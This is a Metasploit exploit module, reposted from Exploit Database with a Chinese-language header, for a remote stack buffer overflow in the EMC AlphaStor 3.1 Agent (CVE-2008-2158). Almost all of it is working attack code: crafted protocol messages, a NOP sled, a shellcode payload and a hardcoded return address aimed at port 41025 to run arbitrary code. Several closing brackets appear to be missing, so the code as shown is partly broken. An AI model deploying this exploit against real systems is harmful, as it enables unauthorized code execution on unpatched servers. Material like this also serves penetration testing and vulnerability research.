EMC AlphaStor Agent – Remote Buffer Overflow (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16391/

# $Id: alphastor_agent.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'EMC AlphaStor Agent Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in EMC AlphaStor 3.1.

By sending a specially crafted message, an attacker may

be able to execute arbitrary code.

'Author' => 'MC',

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2008-2158' ],

[ 'OSVDB', '45714' ],

[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process', # one-shot overwrite.

'Payload'=>

{

'Space'=> 750,

'BadChars' => "\x00\x0a\x0d\x20",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975

'Privileged' => true,

'DisclosureDate' => 'May 27 2008',

'DefaultTarget' => 0))

register_options([Opt::RPORT(41025)], self.class)

end

def exploit

connect

# overwrite via: ascli.exe asopmsg "long_buff"

uno = [0x0000000b].pack('V')

sock.put(uno)

dos =rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"

sock.put(dos)

tres = [0x00000004].pack('V')

sock.put(tres)

quatro = [0x0000001b].pack('V')

sock.put(quatro)

cinco = [0x0000047c].pack('V')

sock.put(cinco)

data =make_nops(827 - payload.encoded.length) + payload.encoded

data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')

data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"

print_status("Trying target #{target.name}...")

sock.put(data)

handler

disconnect

end